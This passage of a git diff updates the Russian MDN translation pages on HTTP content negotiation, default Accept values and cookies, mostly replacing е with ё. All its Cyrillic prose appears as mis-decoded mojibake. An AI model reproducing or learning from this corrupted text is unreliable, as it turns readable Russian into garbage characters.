<li>Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡ, получСнная ΠΎΡ‚ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°, довольно подробная (сТатиС Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° HTTP/2 отчасти Ρ€Π΅ΡˆΠ°Π΅Ρ‚ эту ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ) ΠΈ являСтся источником ΡƒΡ‚Π΅Ρ‡ΠΊΠΈ ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ (идСнтификация ΠΏΠΎ HTTP).</li>
<li>Π‘ ΡƒΠ²Π΅Π»ΠΈΡ‡Π΅Π½ΠΈΠ΅ΠΌ количСства прСдставлСний ΠΏΠ°Π΄Π°Π΅Ρ‚ ΡΡ„Ρ„Π΅ΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ ΠΎΠ±Ρ‰ΠΈΡ… кСшСй ΠΈ услоТняСтся рСализация сСрвСра.</li>
</ul>
<h3 id="Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ_Accept">Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ <code>Accept</code></h3>
-<p>Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{HTTPHeader("Accept")}} пСрСчисляСт MIME Ρ‚ΠΈΠΏΡ‹ содСрТимого рСсурса, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ ΠΆΠ΅Π»Π°Π΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ. Он прСдставляСт список MIME Ρ‚ΠΈΠΏΠΎΠ², Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ запятыми, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ…, ΠΎΠΏΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎ, снабТён коэффициСнтом ΠΆΠ΅Π»Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ – ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰ΠΈΠΌ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ ΠΆΠ΅Π»Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ срСди Ρ€Π°Π·Π½Ρ‹Ρ… MIME Ρ‚ΠΈΠΏΠΎΠ².</p>
+<p>Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{HTTPHeader("Accept")}} пСрСчисляСт MIME Ρ‚ΠΈΠΏΡ‹ содСрТимого рСсурса, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ ΠΆΠ΅Π»Π°Π΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ. Он прСдставляСт список MIME Ρ‚ΠΈΠΏΠΎΠ², Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ запятыми, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ…, ΠΎΠΏΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎ, снабТён коэффициСнтом ΠΆΠ΅Π»Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ – ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰ΠΈΠΌ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ ΠΆΠ΅Π»Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ срСди Ρ€Π°Π·Π½Ρ‹Ρ… MIME Ρ‚ΠΈΠΏΠΎΠ².</p>
-<p>{{HTTPHeader("Accept")}} опрСдСляСтся Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ, ΠΈΠ»ΠΈ Π»ΡŽΠ±Ρ‹ΠΌ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠΌ, ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ Π² зависимости ΠΎΡ‚ контСкста, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΡ€ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠΈ страницы HTML, изобраТСния, Π²ΠΈΠ΄Π΅ΠΎ ΠΈΠ»ΠΈ скрипта – Π΅Π³ΠΎ содСрТимоС Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ ΠΏΡ€ΠΈ запросС Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈΠ· строки адрСса, Ρ‡Π΅Ρ€Π΅Π· Ρ‚Π΅Π³ {{ HTMLElement("img") }}, {{ HTMLElement("video") }} ΠΈΠ»ΠΈ {{ HTMLElement("audio") }}. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ любоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ΠΈ ΡΡ‡ΠΈΡ‚Π°ΡŽΡ‚ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ подходящим; ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ΡŒΡΡ со списком <a href="/en-US/docs/Web/HTTP/Content_negotiation/List_of_default_Accept_values">Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… распространСнными Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</a>.</p>
+<p>{{HTTPHeader("Accept")}} опрСдСляСтся Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ, ΠΈΠ»ΠΈ Π»ΡŽΠ±Ρ‹ΠΌ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠΌ, ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ Π² зависимости ΠΎΡ‚ контСкста, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΡ€ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠΈ страницы HTML, изобраТСния, Π²ΠΈΠ΄Π΅ΠΎ ΠΈΠ»ΠΈ скрипта – Π΅Π³ΠΎ содСрТимоС Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ ΠΏΡ€ΠΈ запросС Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈΠ· строки адрСса, Ρ‡Π΅Ρ€Π΅Π· Ρ‚Π΅Π³ {{ HTMLElement("img") }}, {{ HTMLElement("video") }} ΠΈΠ»ΠΈ {{ HTMLElement("audio") }}. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ любоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ΠΈ ΡΡ‡ΠΈΡ‚Π°ΡŽΡ‚ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ подходящим; ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ΡŒΡΡ со списком <a href="/en-US/docs/Web/HTTP/Content_negotiation/List_of_default_Accept_values">Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… распространёнными Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</a>.</p>
<h3 id="Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ_Accept-CH_experimental_inline">Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ <code>Accept-CH</code> {{experimental_inline}}</h3>
@@ -83,7 +83,7 @@ translation_of: Web/HTTP/Content_negotiation
<p>Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{HTTPHeader("Accept-Charset")}} ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ сСрвСру ΠΊΠ°ΠΊΠΈΠ΅ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠΈ тСкста ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΠΊΠ»ΠΈΠ΅Π½Ρ‚. По Ρ‚Ρ€Π°Π΄ΠΈΡ†ΠΈΠΈ ΠΎΠ½ ΠΈΠΌΠ΅Π΅Ρ‚ своё Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π»ΠΎΠΊΠ°Π»ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code>ISO-8859-1,utf-8;q=0.7,*;q=0.7</code> установлСн для западноСвропСйской Π»ΠΎΠΊΠ°Π»ΠΈ.</p>
-<p>Π’ настоящСС врСмя, UTF-8 ΠΈΠΌΠ΅Π΅Ρ‚ ΡΠ΅Ρ€ΡŒΡ‘Π·Π½ΡƒΡŽ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ, являСтся ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ способом ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠΈ тСкста ΠΈ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ Π»ΡƒΡ‡ΡˆΡƒΡŽ ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π·Π° счСт ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½ΠΈΡ разнообразия ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΉ, поэтому большая Ρ‡Π°ΡΡ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² пропускаСт Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ <code>Accept-Charset</code>: Internet Explorer 8, Safari 5, Opera 11 ΠΈ Firefox 10 ΠΎΡ‚ΠΊΠ°Π·Π°Π»ΠΈΡΡŒ ΠΎΡ‚ этого Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Π² запросах.</p>
+<p>Π’ настоящСС врСмя, UTF-8 ΠΈΠΌΠ΅Π΅Ρ‚ ΡΠ΅Ρ€ΡŒΡ‘Π·Π½ΡƒΡŽ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ, являСтся ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ способом ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠΈ тСкста ΠΈ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ Π»ΡƒΡ‡ΡˆΡƒΡŽ ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π·Π° счёт ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½ΠΈΡ разнообразия ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΉ, поэтому большая Ρ‡Π°ΡΡ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² пропускаСт Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ <code>Accept-Charset</code>: Internet Explorer 8, Safari 5, Opera 11 ΠΈ Firefox 10 ΠΎΡ‚ΠΊΠ°Π·Π°Π»ΠΈΡΡŒ ΠΎΡ‚ этого Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Π² запросах.</p>
<h3 id="Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ_Accept-Encoding">Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ <code>Accept-Encoding</code></h3>
diff --git a/files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html b/files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html
index 043d2c19c0..e37f0d3b4d 100644
--- a/files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html
+++ b/files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html
@@ -68,7 +68,7 @@ translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values
<h2 id="ЗначСния_для_ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ">ЗначСния для ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ</h2>
-<p>Если Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ΡΡ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‡Π΅Ρ€Π΅Π· HTML-элСмСнт {{HTMLElement("img")}}, Π°Π³Π΅Π½Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ часто Π·Π°Π΄Π°Π΅Ρ‚ ΡƒΡ‚ΠΎΡ‡Π½Π΅Π½Π½Ρ‹ΠΉ список подходящих MIME-Ρ‚ΠΈΠΏΠΎΠ².</p>
+<p>Если Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ΡΡ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‡Π΅Ρ€Π΅Π· HTML-элСмСнт {{HTMLElement("img")}}, Π°Π³Π΅Π½Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ часто Π·Π°Π΄Π°Ρ‘Ρ‚ ΡƒΡ‚ΠΎΡ‡Π½Ρ‘Π½Π½Ρ‹ΠΉ список подходящих MIME-Ρ‚ΠΈΠΏΠΎΠ².</p>
<table class="standard-table">
<tbody>
@@ -111,7 +111,7 @@ translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values
<h2 id="ЗначСния_для_Π²ΠΈΠ΄Π΅ΠΎ">ЗначСния для Π²ΠΈΠ΄Π΅ΠΎ</h2>
-<p>Если Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ΡΡ Π²ΠΈΠ΄Π΅ΠΎ Ρ‡Π΅Ρ€Π΅Π·Β HTML-элСмСнт {{HTMLElement("video")}}, Π² Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΡƒΡ‚ΠΎΡ‡Π½Π΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</p>
+<p>Если Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ΡΡ Π²ΠΈΠ΄Π΅ΠΎ Ρ‡Π΅Ρ€Π΅Π·Β HTML-элСмСнт {{HTMLElement("video")}}, Π² Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΡƒΡ‚ΠΎΡ‡Π½Ρ‘Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</p>
<table class="standard-table">
<tbody>
@@ -145,7 +145,7 @@ translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values
<h2 id="ЗначСния_для_Π°ΡƒΠ΄ΠΈΠΎΡ„Π°ΠΉΠ»ΠΎΠ²">ЗначСния для Π°ΡƒΠ΄ΠΈΠΎΡ„Π°ΠΉΠ»ΠΎΠ²</h2>
-<p>Если Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ΡΡ Π°ΡƒΠ΄ΠΈΠΎΡ„Π°ΠΉΠ», Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‡Π΅Ρ€Π΅Π·Β HTML-элСмСнт {{HTMLElement("audio")}}, Π² Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΡƒΡ‚ΠΎΡ‡Π½Π΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</p>
+<p>Если Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ΡΡ Π°ΡƒΠ΄ΠΈΠΎΡ„Π°ΠΉΠ», Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‡Π΅Ρ€Π΅Π·Β HTML-элСмСнт {{HTMLElement("audio")}}, Π² Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΡƒΡ‚ΠΎΡ‡Π½Ρ‘Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</p>
<table class="standard-table">
<tbody>
@@ -179,7 +179,7 @@ translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values
<h2 id="ЗначСния_для_скриптов">ЗначСния для скриптов</h2>
-<p>Если Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ΡΡ скрипт, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‡Π΅Ρ€Π΅Π·Β HTML-элСмСнт {{HTMLElement("script")}}, Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΡƒΡ‚ΠΎΡ‡Π½Π΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</p>
+<p>Если Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ΡΡ скрипт, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‡Π΅Ρ€Π΅Π·Β HTML-элСмСнт {{HTMLElement("script")}}, Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΡƒΡ‚ΠΎΡ‡Π½Ρ‘Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</p>
<table class="standard-table">
<tbody>
@@ -213,7 +213,7 @@ translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values
<h2 id="ЗначСния_для_Ρ‚Π°Π±Π»ΠΈΡ†_стилСй_CSS">ЗначСния для Ρ‚Π°Π±Π»ΠΈΡ† стилСй CSS</h2>
-<p>Если Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ΡΡ Ρ‚Π°Π±Π»ΠΈΡ†Π° стилСй CSS Ρ‡Π΅Ρ€Π΅Π·Β HTML-элСмСнт <code>&lt;link rel="stylesheet"&gt;</code>, Π² Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΡƒΡ‚ΠΎΡ‡Π½Π΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</p>
+<p>Если Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ΡΡ Ρ‚Π°Π±Π»ΠΈΡ†Π° стилСй CSS Ρ‡Π΅Ρ€Π΅Π·Β HTML-элСмСнт <code>&lt;link rel="stylesheet"&gt;</code>, Π² Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΡƒΡ‚ΠΎΡ‡Π½Ρ‘Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</p>
<table class="standard-table">
<tbody>
diff --git a/files/ru/web/http/cookies/index.html b/files/ru/web/http/cookies/index.html
index 52e3a21943..cef15e96f2 100644
--- a/files/ru/web/http/cookies/index.html
+++ b/files/ru/web/http/cookies/index.html
@@ -19,7 +19,7 @@ original_slug: Web/HTTP/ΠšΡƒΠΊΠΈ
<p>Π”ΠΎ Π½Π΅Π΄Π°Π²Π½Π΅Π³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ cookie принято Π±Ρ‹Π»ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² качСствС Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π° ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π½Π° сторонС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Π­Ρ‚ΠΎ ΠΌΠΎΠ³Π»ΠΎ ΠΈΠΌΠ΅Ρ‚ΡŒ смысл Π² отсутствии Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ², Π½ΠΎ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° Π² распоряТСнии Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² появились Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ API (ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹Π΅ интСрфСйсы прилоТСния) для хранСния Π΄Π°Π½Π½Ρ‹Ρ…, это ΡƒΠΆΠ΅ Π½Π΅ Ρ‚Π°ΠΊ. Из-Π·Π° Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ cookie ΠΏΠ΅Ρ€Π΅ΡΡ‹Π»Π°ΡŽΡ‚ΡΡ с ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ запросом, ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ слишком сильно ΡΠ½ΠΈΠΆΠ°Ρ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ (особСнно Π² ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… устройствах). Π’ качСствС Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰ Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° сторонС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ вмСсто Π½ΠΈΡ… ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a> (<code>localStorage</code> and <code>sessionStorage</code>) ΠΈ<a href="/en-US/docs/Web/API/IndexedDB_API"> IndexedDB</a>.</p>
<div class="note">
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ сохранСнныС cookies (ΠΈ ΠΊΠ°ΠΊΠΈΠ΅ Π΅Ρ‰Π΅ способы хранСния Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π²Π΅Π±-страница), ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <a href="/en-US/docs/Tools/Storage_Inspector">Storage Inspector </a>(Π˜Π½ΡΠΏΠ΅ΠΊΡ‚ΠΎΡ€ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°) ΠΈΠ· Ρ€Π°Π·Π΄Π΅Π»Π° Developer Tools (Π’Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°).</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ сохранённыС cookies (ΠΈ ΠΊΠ°ΠΊΠΈΠ΅ Π΅Ρ‰Ρ‘ способы хранСния Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π²Π΅Π±-страница), ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <a href="/en-US/docs/Tools/Storage_Inspector">Storage Inspector </a>(Π˜Π½ΡΠΏΠ΅ΠΊΡ‚ΠΎΡ€ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°) ΠΈΠ· Ρ€Π°Π·Π΄Π΅Π»Π° Developer Tools (Π’Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°).</p>
</div>
<h2 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_cookie">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ cookie</h2>
@@ -32,7 +32,7 @@ original_slug: Web/HTTP/ΠšΡƒΠΊΠΈ
<pre class="syntaxbox">Set-Cookie: &lt;имя-cookie&gt;=&lt;заголовок-cookie&gt;</pre>
-<p>Π­Ρ‚ΠΎΡ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ с сСрвСра Π΄Π°Π΅Ρ‚ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ cookie (это Π΄Π΅Π»Π°ΡŽΡ‚, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <a href="http://php.net/manual/en/function.setcookie.php">PHP</a>, <a href="https://nodejs.org/dist/latest-v6.x/docs/api/http.html#http_response_setheader_name_value">Node.js</a>, <a href="https://docs.python.org/3/library/http.cookies.html">Python</a> ΠΈ <a 